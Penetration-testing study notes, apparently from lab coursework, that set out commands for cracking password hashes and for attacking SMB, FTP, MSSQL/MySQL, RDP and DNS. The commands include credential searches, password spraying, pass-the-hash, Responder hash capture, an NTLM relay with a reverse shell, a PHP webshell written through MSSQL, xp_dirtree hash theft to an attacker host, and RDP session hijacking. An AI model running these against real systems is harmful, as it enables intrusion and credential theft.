ssh2john.py SSH.private > ssh.hash ``` ```bash john --wordlist=rockyou.txt ssh.hash john ssh.hash --show ``` ### Cracking Documents ```bash office2john.py Protected.docx > protected-docx.hash john --wordlist=rockyou.txt protected-docx.hash john protected-docx.hash --show ``` **Cracking PDFs** ```shell-session pdf2john.py PDF.pdf > pdf.hash john --wordlist=rockyou.txt pdf.hash john pdf.hash --show ``` ## Using Hashcat for \*2john files As an example, we have a KeePass database file. We can extract the hash using: ```bash keepass2john file.kdbx > hash.txt ``` but if we try feeding this to Hashcat, it will not recognize it. Looking at the output it should look something like this: ``` Logins:$keepass$*2*60000*0*048f742ba4[...] ``` If we remove the first part of it and leave anything after the : then Hashcat will recognize it (and give us possible modes to use, in this case `hashcat -m 13400 hashcat.hash mut_password.list`) Or possible oneliner to extract the hash: ```bash keepass2john CrackThis.kdb | grep -o "$keepass$.*" > CrackThis.hash ``` # Attacking Common Services Vulnerabilities are commonly discovered by people who use and understand technology, a protocol, or a service. As we evolve in this field, we will find different services to interact with, and we will need to evolve and learn new technology constantly. To be successful at attacking a service, we need to know its purpose, how to interact with it, what tools we can use, and what we can do with it. This section will focus on common services and how we can interact with them. ## SMB ### GUI ``` Win + R \\192.168.220.129\Finance\ ``` ### CMD ```batch dir \\192.168.220.129\Finance\ ``` #### Mounting using CMD ```batch net use n: \\192.168.220.129\Finance net use n: \\192.168.220.129\Finance /user:plaintext Password123 ``` With the shared folder mapped as the `n` drive, we can execute Windows commands as if this shared folder is on our local computer. Let's find how many files the shared folder and its subdirectories contain. ```batch dir n: /a-d /s /b | find /c ":\" ``` `dir` command explanation: | **Syntax** | **Description** | | ---------- | -------------------------------------------------------------- | | `dir` | Application | | `n:` | Directory or drive to search | | `/a-d` | `/a` is the attribute and `-d` means not directories | | `/s` | Displays files in a specified directory and all subdirectories | | `/b` | Uses bare format (no heading information or summary) | #### dir for searching With `dir` we can search for specific names in files such as: * cred * password * users * secrets * key * Common File Extensions for source code such as: .cs, .c, .go, .java, .php, .asp, .aspx, .html. ```batch dir n:\*cred* /s /b dir n:\*secret* /s /b ``` #### findstr for searching contents (grep equivalent) ```batch findstr /s /i cred n:\*.* ``` ### Powershell ```powershell Get-ChildItem \\192.168.220.129\Finance\ ``` #### Monting to drive letter ```powershell New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" ``` To provide a username and password with Powershell, we need to create a [PSCredential object](https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.pscredential). It offers a centralized way to manage usernames, passwords, and credentials. ```powershell $username = 'plaintext' $password = 'Password123' $secpassword = ConvertTo-SecureString $password -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential $username, $secpassword New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred ``` #### Counting files in all drive ```powershell N: (Get-ChildItem -File -Recurse | Measure-Object).Count ``` #### Finding files by name We can use the property `-Include` to find specific items from the directory specified by the Path parameter. ```powershell Get-ChildItem -Recurse -Path N:\ -Include *cred* -File ``` #### Select-String to find file contents (grep equivalent) ```powershell Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List ``` ### Linux #### Mount ```bash sudo mkdir /mnt/Finance sudo mount -t cifs -o username=plaintext,password=Password123,domain=. //192.168.220.129/Finance /mnt/Finance ``` As an alternative, we can use a credential file (`sudo apt install cifs-utils`). ```bash mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=/path/credentialfile ``` Credentials file: ```txt username=plaintext password=Password123 domain=. ``` #### Find file by name ```bash find /mnt/Finance/ -name *cred* ``` #### Find file by content ```bash grep -rn /mnt/Finance/ -ie cred ``` ## Other services ### Email Suggested client: evolution ### Databases * Command Line Utilities (`mysql` or `sqsh`) * Programming Languages * A GUI application to interact with databases such as HeidiSQL, MySQL Workbench, or SQL Server Management Studio. #### Command Line Utilities * MSSQL: * Linux: `sqsh -S 10.129.20.13 -U username -P Password123` * Windows: `sqlcmd -S 10.129.20.13 -U username -P Password123` * MySQL * Linux: `mysql -u username -pPassword123 -h 10.129.20.13` * Windows: `mysql.exe -u username -pPassword123 -h 10.129.20.13` #### Multi-DB GUI [dbeaver](https://github.com/dbeaver/dbeaver) is a multi-platform database tool for Linux, macOS, and Windows that supports connecting to multiple database engines such as MSSQL, MySQL, PostgreSQL, among others, To install [dbeaver](https://github.com/dbeaver/dbeaver) using a Debian package we can download the release .deb package from and execute the following command: ```bash sudo dpkg -i dbeaver-.deb ``` ## General Tools
SMBFTPEmailDatabases
smbclientftpThunderbirdmssql-cli
CrackMapExeclftpClawsmycli
SMBMapncftpGearymssqlclient.py
ImpacketfilezillaMailSpringdbeaver
psexec.pycrossftpmuttMySQL Workbench
smbexec.pymailutilsSQL Server Management Studio or SSMS
sendEmail
swaks
sendmail
# FTP ## Enumeration `Nmap` default scripts `-sC` includes the [ftp-anon](https://nmap.org/nsedoc/scripts/ftp-anon.html) Nmap script which checks if a FTP server allows anonymous logins. ## **Anonymous Authentication** 
$ ftp <IP>

Connected to 192.168.2.142.
220 (vsFTPd 2.3.4)
Name (192.168.2.142:kali): anonymous
enter empty password ## Protocol Specifics Attacks ### Bruteforcing There are many different tools to perform a brute-forcing attack. Let us explore one of them, [Medusa](https://github.com/jmk-foofus/medusa). With `Medusa`, we can use the option `-u` to specify a single user to target, or you can use the option `-U` to provide a file with a list of usernames. The option `-P` is for a file containing a list of passwords. We can use the option `-M` and the protocol we are targeting (FTP) and the option `-h` for the target hostname or IP address. ```bash medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp ``` {% hint style="info" %} Although we may find services vulnerable to brute force, most applications today prevent these types of attacks. A more effective method is Password Spraying. {% endhint %} ### **FTP Bounce Attack** An FTP bounce attack is a network attack that uses FTP servers to deliver outbound traffic to another device on the network. The attacker uses a `PORT` command to trick the FTP connection into running commands and getting information from a device other than the intended server.
The `Nmap` -b flag can be used to perform an FTP bounce attack: ```bash nmap -Pn -v -n -p80 -b anonymous:password@ ``` Modern FTP servers include protections that, by default, prevent this type of attack, but if these features are misconfigured in modern-day FTP servers, the server can become vulnerable to an FTP Bounce attack. # SMB Server Message Block it was designed to run on top of NetBIOS over TCP/IP (NBT) using TCP port `139` and UDP ports `137` and `138`. However, with Windows 2000, Microsoft added the option to run SMB directly over TCP/IP on port `445` without the extra NetBIOS layer. ## Enumeration ```bash sudo nmap 10.129.14.128 -sV -sC -p139,445 ``` ## Misconfigurations ### File Share SMB can be configured not to require authentication, which is often called a `null session`. Instead, we can log in to a system with no username or password. ```bash smbclient -N -L // ``` list of the server's shares with the option `-L`, and using the option `-N` `Smbmap` is another tool that helps us enumerate network shares and access associated permissions. An advantage of `smbmap` is that it provides a list of permissions for each shared folder. ```bash smbmap -H ``` Using `smbmap` with the `-r` or `-R` (recursive) option, one can browse the directories: ```bash smbmap -H -r notes ``` ```bash smbmap -H --download "notes\note.txt ``` ```bash smbmap -H --upload test.txt "notes\test.txt" ``` ### **Remote Procedure Call (RPC)** We can use the `rpcclient` tool with a null session to enumerate a workstation or Domain Controller. We can use this [cheat sheet from the SANS Institute](https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf) or review the complete list of all these functions found on the [man page](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html) of the `rpcclient`. ```bash rpcclient -U'%' > enumdomusers ``` `Enum4linux` is another utility that supports null sessions, and it utilizes `nmblookup`, `net`, `rpcclient`, and `smbclient` to automate some common enumeration from SMB targets such as: * Workgroup/Domain name * Users information * Operating system information * Groups information * Shares Folders * Password policy information The [original tool](https://github.com/CiscoCXSecurity/enum4linux) was written in Perl and [rewritten by Mark Lowe in Python](https://github.com/cddmp/enum4linux-ng). ```bash ./enum4linux-ng.py -A -C ``` ## Protocol Specifics Attacks If a null session is not enabled, we will need credentials to interact with the SMB protocol. Two common ways to obtain credentials are [brute forcing](https://en.wikipedia.org/wiki/Brute-force_attack) and [password spraying](https://owasp.org/www-community/attacks/Password_Spraying_Attack). ```bash crackmapexec smb -u -p --local-auth ``` {% hint style="danger" %} [Netexec ](https://www.netexec.wiki/)is the fork and continuation of crackmapexec {% endhint %} {% hint style="info" %} By default CME will exit after a successful login is found. Using the `--continue-on-success` flag will continue spraying even after a valid password is found. it is very useful for spraying a single password against a large user list. Additionally, if we are targetting a non-domain joined computer, we will need to use the option `--local-auth`. For a more detailed study Password Spraying see the Active Directory Enumeration & Attacks module. {% endhint %} ## SMB When attacking a Windows SMB Server, our actions will be limited by the privileges we had on the user we manage to compromise. If this user is an Administrator or has specific privileges, we will be able to perform operations such as: * Remote Command Execution * Extract Hashes from SAM Database * Enumerating Logged-on Users * Pass-the-Hash (PTH) We can download PsExec from [Microsoft website](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec), or we can use some Linux implementations: * [Impacket PsExec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) - Python PsExec like functionality example using [RemComSvc](https://github.com/kavika13/RemCom). * [Impacket SMBExec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py) - A similar approach to PsExec without using [RemComSvc](https://github.com/kavika13/RemCom). The technique is described here. This implementation goes one step further, instantiating a local SMB server to receive the output of the commands. This is useful when the target machine does NOT have a writeable share available. * [Impacket atexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py) - This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command. * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) - includes an implementation of `smbexec` and `atexec`. * [Metasploit PsExec](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/smb/psexec.md) - Ruby PsExec implementation. ```bash impacket-psexec administrator:'Password123!'@ ``` ```bash crackmapexec smb -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec ``` {% hint style="info" %} If the`--exec-method` is not defined, CrackMapExec will try to execute the atexec method, if it fails you can try to specify the `--exec-method` smbexec. {% endhint %} ### **Enumerating Logged-on Users** Imagine we are in a network with multiple machines. Some of them share the same local administrator account. In this case, we could use `CrackMapExec` to enumerate logged-on users on all machines within the same network `10.10.110.17/24`, which speeds up our enumeration process. ```bash crackmapexec smb /24 -u administrator -p 'Password123!' --loggedon-users ``` ### **Extract Hashes from SAM Database** ```bash crackmapexec smb -u administrator -p 'Password123!' --sam ``` ### **Pass-the-Hash (PtH)** We can use a PtH attack with any `Impacket` tool, `SMBMap`, `CrackMapExec`, among other tools. Here is an example of how this would work with `CrackMapExec`: ```bash crackmapexec smb -u Administrator -H ``` ### **Forced Authentication Attacks** We can also abuse the SMB protocol by creating a fake SMB Server to capture users' [NetNTLM v1/v2 hashes](https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4). The most common tool to perform such operations is the `Responder`. [Responder](https://github.com/lgandx/Responder) is an LLMNR, NBT-NS, and MDNS poisoner tool with different capabilities, one of them is the possibility to set up fake services, including SMB, to steal NetNTLM v1/v2 hashes. ```bash responder -I ``` When a user or a system tries to perform a Name Resolution (NR), a series of procedures are conducted by a machine to retrieve a host's IP address by its hostname. On Windows machines, the procedure will roughly be as follows: * The hostname file share's IP address is required. * The local host file (C:\Windows\System32\Drivers\etc\hosts) will be checked for suitable records. * If no records are found, the machine switches to the local DNS cache, which keeps track of recently resolved names. * Is there no local DNS record? A query will be sent to the DNS server that has been configured. * If all else fails, the machine will issue a multicast query, requesting the IP address of the file share from other machines on the network. Suppose a user mistyped a shared folder's name `\\mysharefoder\` instead of `\\mysharedfolder\`. In that case, all name resolutions will fail because the name does not exist, and the machine will send a multicast query to all devices on the network, including us running our fake SMB server. This is a problem because no measures are taken to verify the integrity of the responses. Attackers can take advantage of this mechanism by listening in on such queries and spoofing responses, leading the victim to believe malicious servers are trustworthy. This trust is usually used to steal credentials. Example output of responder: ``` [+] Listening for events... [*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser) [*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election) [*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local [*] [LLMNR] Poisoned answer sent to 10.10.110.17 for name mysharefoder [*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local [SMB] NTLMv2-SSP Client : 10.10.110.17 [SMB] NTLMv2-SSP Username : WIN7BOX\demouser [SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000 ``` These captured credentials can be cracked using [hashcat](https://hashcat.net/hashcat/) or relayed to a remote host to complete the authentication and impersonate the user. All saved Hashes are located in Responder's logs directory (`/usr/share/responder/logs/`). We can copy the hash to a file and attempt to crack it using the hashcat module 5600. {% hint style="info" %} If you notice multiples hashes for one account this is because NTLMv2 utilizes both a client-side and server-side challenge that is randomized for each interaction. This makes it so the resulting hashes that are sent are salted with a randomized string of numbers. This is why the hashes don't match but still represent the same password. {% endhint %} If we cannot crack the hash, we can potentially relay the captured hash to another machine using [impacket-ntlmrelayx](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py) or Responder [MultiRelay.py](https://github.com/lgandx/Responder/blob/master/tools/MultiRelay.py) On responder: First, we need to set SMB to `OFF` in our responder configuration file (`/etc/responder/Responder.conf`). ```bash cat /etc/responder/Responder.conf | grep 'SMB =' SMB = Off ``` Then we execute `impacket-ntlmrelayx` with the option `--no-http-server`, `-smb2support`, and the target machine with the option `-t`. By default, `impacket-ntlmrelayx` will dump the SAM database, but we can execute commands by adding the option `-c`. ```bash impacket-ntlmrelayx --no-http-server -smb2support -t ``` We can create a PowerShell reverse shell using , set our machine IP address, port, and the option Powershell #3 (Base64). ```bash impacket-ntlmrelayx --no-http-server -smb2support -t -c 'powershell -e [...]' ``` ## RPC In the [Footprinting](/footprinting) page, we discuss how to enumerate a machine using RPC. Apart from enumeration, we can use RPC to make changes to the system, such as: * Change a user's password. * Create a new domain user. * Create a new shared folder. Keep in mind that some specific configurations are required to allow these types of changes through RPC. We can use the [rpclient man page](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html) or [SMB Access from Linux Cheat Sheet](https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf) from the SANS Institute to explore this further. # SQL [MySQL](https://www.mysql.com/) and [Microsoft SQL Server](https://www.microsoft.com/en-us/sql-server/sql-server-2019) (`MSSQL`) are [relational database](https://en.wikipedia.org/wiki/Relational_database) management systems that store data in tables, columns, and rows. ## Enumeration By default, MSSQL uses ports `TCP/1433` and `UDP/1434`, and MySQL uses `TCP/3306`. However, when MSSQL operates in a "hidden" mode, it uses the `TCP/2433` port. We can use `Nmap`'s default scripts `-sC` option to enumerate database services on a target system: ```bash nmap -Pn -sV -sC -p1433 ``` ## Authentication Mechanisms `MSSQL` supports two [authentication modes](https://docs.microsoft.com/en-us/sql/connect/ado-net/sql/authentication-sql-server), which means that users can be created in Windows or the SQL Server:
Authentication TypeDescription
Windows authentication modeThis is the default, often referred to as integrated security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials.
Mixed modeMixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.
`MySQL` also supports different [authentication methods](https://dev.mysql.com/doc/internals/en/authentication-method.html), such as username and password, as well as Windows authentication (a plugin is required). In addition, administrators can [choose an authentication mode](https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode) for many reasons, including compatibility, security, usability, and more. However, depending on which method is implemented, misconfigurations can occur ## **Misconfigurations** Misconfigured authentication in SQL Server can let us access the service without credentials if anonymous access is enabled, a user without a password is configured, or any user, group, or machine is allowed to access the SQL Server. ### **Privileges** Depending on the user's privileges, we may be able to perform different actions within a SQL Server, such as: * Read or change the contents of a database * Read or change the server configuration * Execute commands * Read local files * Communicate with other databases * Capture the local system hash * Impersonate existing users * Gain access to other networks ## Protocol Specific Attacks ### **Read/Change the Database** ```bash mysql -u julio -pPassword123 -h ``` ```bash sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30 ``` {% hint style="info" %} When we authenticate to MSSQL using `sqlcmd` we can use the parameters `-y` (SQLCMDMAXVARTYPEWIDTH) and `-Y` (SQLCMDMAXFIXEDTYPEWIDTH) for better looking output. Keep in mind it may affect performance. {% endhint %} sqlcmd installation: [Microsoft Site](https://learn.microsoft.com/en-us/sql/tools/sqlcmd/sqlcmd-utility?view=sql-server-linux-ver15\&tabs=go%2Clinux\&pivots=cs1-bash#download-and-install-sqlcmd) (On Kali I manually had to add this `deb [arch=amd64,armhf,arm64] https://packages.microsoft.com/ubuntu/22.04/prod jammy main` to the `/etc/apt/sources.list` file) If we are targetting `MSSQL` from Linux, we can use `sqsh` as an alternative to `sqlcmd`: ```bash sqsh -S -U julio -P 'MyPassword!' -h ``` Alternatively, we can use the tool from Impacket with the name `mssqlclient.py`. ```shell-session mssqlclient.py -p 1433 julio@ ``` {% hint style="info" %} When we authenticate to MSSQL using `sqsh` we can use the parameters `-h` to disable headers and footers for a cleaner look. {% endhint %} For domain accounts use the full domain, for local accounts use `SERVERNAME\\accountname` or `.\\accountname` ```bash sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h ``` ### **SQL Default Databases** `MySQL` default system schemas/databases: * `mysql` - is the system database that contains tables that store information required by the MySQL server * `information_schema` - provides access to database metadata * `performance_schema` - is a feature for monitoring MySQL Server execution at a low level * `sys` - a set of objects that helps DBAs and developers interpret data collected by the Performance Schema `MSSQL` default system schemas/databases: * `master` - keeps the information for an instance of SQL Server. * `msdb` - used by SQL Server Agent. * `model` - a template database copied for each new database. * `resource` - a read-only database that keeps system objects visible in every database on the server in sys schema. * `tempdb` - keeps temporary objects for SQL queries. ### MySQL useful syntax (If we use `sqlcmd`, we will need to use `GO` after our query to execute the SQL syntax.) `mysql` tool: ```shell-session SHOW DATABASES; USE htbusers; SHOW TABLES; SELECT * FROM users; ``` ### MSSQL useful syntax `sqlcmd` tool (remember to write `GO`): ```cmd-session SELECT name FROM master.dbo.sysdatabases USE htbusers SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES SELECT * FROM users ``` ## Execute Commands `MSSQL` has a [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/database-engine-extended-stored-procedures-programming?view=sql-server-ver15) called [xp\_cmdshell](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15) which allow us to execute system commands using SQL. Keep in mind the following about `xp_cmdshell`: * `xp_cmdshell` is a powerful feature and disabled by default. `xp_cmdshell` can be enabled and disabled by using the [Policy-Based Management](https://docs.microsoft.com/en-us/sql/relational-databases/security/surface-area-configuration) or by executing [sp\_configure](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option) * The Windows process spawned by `xp_cmdshell` has the same security rights as the SQL Server service account * `xp_cmdshell` operates synchronously. Control is not returned to the caller until the command-shell command is completed `sqlcmd` command: ```cmd-session xp_cmdshell 'whoami' GO ``` If `xp_cmdshell` is not enabled, we can enable it, if we have the appropriate privileges, using the following ```mssql -- To allow advanced options to be changed. EXECUTE sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable the feature. EXECUTE sp_configure 'xp_cmdshell', 1 GO -- To update the currently configured value for this feature. RECONFIGURE GO ``` There are other methods to get command execution, such as adding [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), and [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). However, besides those methods there are also additional functionalities that can be used like the `xp_regwrite` command that is used to elevate privileges by creating new entries in the Windows registry. Nevertheless, those methods are outside the scope of this module. `MySQL` supports [User Defined Functions](https://dotnettutorials.net/lesson/user-defined-functions-in-mysql/) which allows us to execute C/C++ code as a function within SQL, there's one User Defined Function for command execution in this [GitHub repository](https://github.com/mysqludf/lib_mysqludf_sys). It is not common to encounter a user-defined function like this in a production environment, but we should be aware that we may be able to use it. ## Write Local Files ```shell-session SELECT "" INTO OUTFILE '/var/www/html/webshell.php'; ``` In `MySQL`, a global system variable [secure\_file\_priv](https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv) limits the effect of data import and export operations, such as those performed by the `LOAD DATA` and `SELECT … INTO OUTFILE` statements and the [LOAD\_FILE()](https://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_load-file) function. These operations are permitted only to users who have the [FILE](https://dev.mysql.com/doc/refman/5.7/en/privileges-provided.html#priv_file) privilege. `secure_file_priv` may be set as follows: * If empty, the variable has no effect, which is not a secure setting. * If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it. * If set to NULL, the server disables import and export operations. ```shell-session show variables like "secure_file_priv"; ``` To write files using `MSSQL`, we need to enable [Ole Automation Procedures](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), which requires admin privileges, and then execute some stored procedures to create the file (`sqlcmd`): ```cmd-session sp_configure 'show advanced options', 1 GO RECONFIGURE GO sp_configure 'Ole Automation Procedures', 1 GO RECONFIGURE GO ``` 
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO
## Read Local Files By default, `MSSQL` allows file read on any file in the operating system to which the account has read access. We can use the following SQL query: ```cmd-session SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents GO ``` by default a `MySQL` installation does not allow arbitrary file read, but if the correct settings are in place and with the appropriate privileges, we can read files using the following methods: ```shell-session select LOAD_FILE("/etc/passwd"); ``` ## Capture MSSQL Service Hash We can also steal the MSSQL service account hash using `xp_subdirs` or `xp_dirtree` undocumented stored procedures, which use the SMB protocol to retrieve a list of child directories under a specified parent directory from the file system. To make this work, we need first to start [Responder](https://github.com/lgandx/Responder) or [impacket-smbserver](https://github.com/SecureAuthCorp/impacket) and execute one of the following SQL queries: `sqlcmd`: ```cmd-session EXEC master..xp_dirtree '\\10.10.110.17\share\' GO ``` ```cmd-session EXEC master..xp_subdirs '\\10.10.110.17\share\' GO ``` If the service account has access to our server, we will obtain its hash. We can then attempt to crack the hash or relay it to another host. ## Impersonate Existing Users with MSSQL SQL Server has a special permission, named `IMPERSONATE`, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends. **Identify Users that We Can Impersonate** ```cmd-session SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' GO ``` To get an idea of privilege escalation possibilities, let's verify if our current user has the sysadmin role: ```cmd-session SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') go ``` As the returned value `0` indicates, we do not have the sysadmin role, but we can impersonate other users. ```cmd-session EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') GO ``` {% hint style="warning" %} It's recommended to run `EXECUTE AS LOGIN` within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn't have access to the DB you are connecting to it will present an error. Try to move to the master DB using `USE master`. {% endhint %} We can now execute any command as a sysadmin as the returned value `1` indicates. To revert the operation and return to our previous user, we can use the Transact-SQL statement `REVERT`. {% hint style="info" %} If we find a user who is not sysadmin, we can still check if the user has access to other databases or linked servers {% endhint %} ## Communicate with Other Databases with MSSQL `MSSQL` has a configuration option called [linked servers](https://docs.microsoft.com/en-us/sql/relational-databases/linked-servers/create-linked-servers-sql-server-database-engine). Linked servers are typically configured to enable the database engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server, or another database product such as Oracle. **Identify linked Servers in MSSQL** ```cmd-session 1> SELECT srvname, isremote FROM sysservers 2> GO ``` Next, we can attempt to identify the user used for the connection and its privileges. The [EXECUTE](https://docs.microsoft.com/en-us/sql/t-sql/language-elements/execute-transact-sql) statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets (`[ ]`). ```cmd-session 1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS] 2> GO ``` {% hint style="info" %} If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;). {% endhint %} # RDP By default, RDP uses port `TCP/3389` ```bash nmap -Pn -p3389 ``` ## Misconfigurations Since RDP takes user credentials for authentication, one common attack vector against the RDP protocol is password guessing. Although it is not common, we could find an RDP service without a password if there is a misconfiguration. Using the [Crowbar](https://github.com/galkan/crowbar) tool, we can perform a password spraying attack against the RDP service. ```bash crowbar -b rdp -s /32 -U users.txt -c 'password123' ``` We can also use `Hydra` to perform an RDP password spray attack. ```bash hydra -L usernames.txt -p 'password123' rdp ``` We can RDP into the target system using the `rdesktop` client or `xfreerdp` client with valid credentials. ```bash rdesktop -u admin -p password123 ``` ## Protocol Specific Attacks **RDP Session Hijacking** If a user is connected via RDP to our compromised machine, we can hijack the user's remote desktop session to escalate our privileges and impersonate the account. In an Active Directory environment, this could result in us taking over a Domain Admin account or furthering our access within the domain. Find the logged in sessions by using: ```powershell query user ``` To successfully impersonate a user without their password, we need to have `SYSTEM` privileges and use the Microsoft [tscon.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tscon) binary that enables users to connect to another desktop session. ```cmd-session tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME} ``` If we have local administrator privileges, we can use several methods to obtain `SYSTEM` privileges, such as [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) or [Mimikatz](https://github.com/gentilkiwi/mimikatz). A simple trick is to create a Windows service that, by default, will run as `Local System` and will execute any binary with `SYSTEM` privileges. We will use [Microsoft sc.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create) binary. ```batch sc.exe create sessionhijack binpath="cmd.exe /k tscon /dest:" net start sessionhijack ``` ## PtH RDP There are a few caveats to this attack: * `Restricted Admin Mode`, which is disabled by default, should be enabled on the target host; otherwise, we will be prompted with the following error:
This can be enabled by adding a new registry key `DisableRestrictedAdmin` (REG\_DWORD) under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa`. It can be done using the following command: ```powershell reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f ``` Once the registry key is added, we can use `xfreerdp` with the option `/pth` to gain RDP access: ```shell-session xfreerdp /v: /u:lewen /pth: ``` If it works, we'll now be logged in via RDP as the target user without knowing their cleartext password. Keep in mind that this will not work against every Windows system we encounter, but it is always worth trying in a situation where we have an NTLM hash, know the user has RDP rights against a machine or set of machines, and GUI access would benefit us in some ways towards fulfilling the goal of our assessment. # DNS DNS is mostly `UDP/53`, but DNS will rely on `TCP/53` more heavily as time progresses. DNS has always been designed to use both UDP and TCP port 53 from the start, with UDP being the default, and falls back to using TCP when it cannot communicate on UDP, typically when the packet size is too large to push through in a single UDP packet. Also treated in [DNS](/footprinting/dns) ## Enumeration ```bash nmap -p53 -Pn -sV -sC ``` ## DNS Zone Transfer ```bash dig AXFR @ns1.inlanefreight.htb inlanefreight.htb ``` Tools like [Fierce](https://github.com/mschwager/fierce) can also be used to enumerate all DNS servers of the root domain and scan for a DNS zone transfer: ```bash fierce --domain zonetransfer.me ``` ## Domain Takeovers & Subdomain Enumeration **Subdomain Enumeration** ```bash ./subfinder -d inlanefreight.com -v ``` An excellent alternative is a tool called [Subbrute](https://github.com/TheRook/subbrute). This tool allows us to use self-defined resolvers and perform pure DNS brute-forcing attacks during internal penetration tests on hosts that do not have Internet access. ```bash git clone https://github.com/TheRook/subbrute.git >> /dev/null 2>&1 cd subbrute echo "ns1.inlanefreight.com" > ./resolvers.txt ``` ```bash ./subbrute.py inlanefreight.com -s ./names.txt -r ./resolvers.txt ``` The tool has found four subdomains associated with `inlanefreight.com`. Using the `nslookup` or `host` command, we can enumerate the `CNAME` records for those subdomains. 
host support.inlanefreight.com

# support.inlanefreight.com is an alias for inlanefreight.s3.amazonaws.com
The `support` subdomain has an alias record pointing to an AWS S3 bucket. However, the URL `https://support.inlanefreight.com` shows a `NoSuchBucket` error indicating that the subdomain is potentially vulnerable to a **subdomain takeover**. Now, we can take over the subdomain by creating an AWS S3 bucket with the same subdomain name.
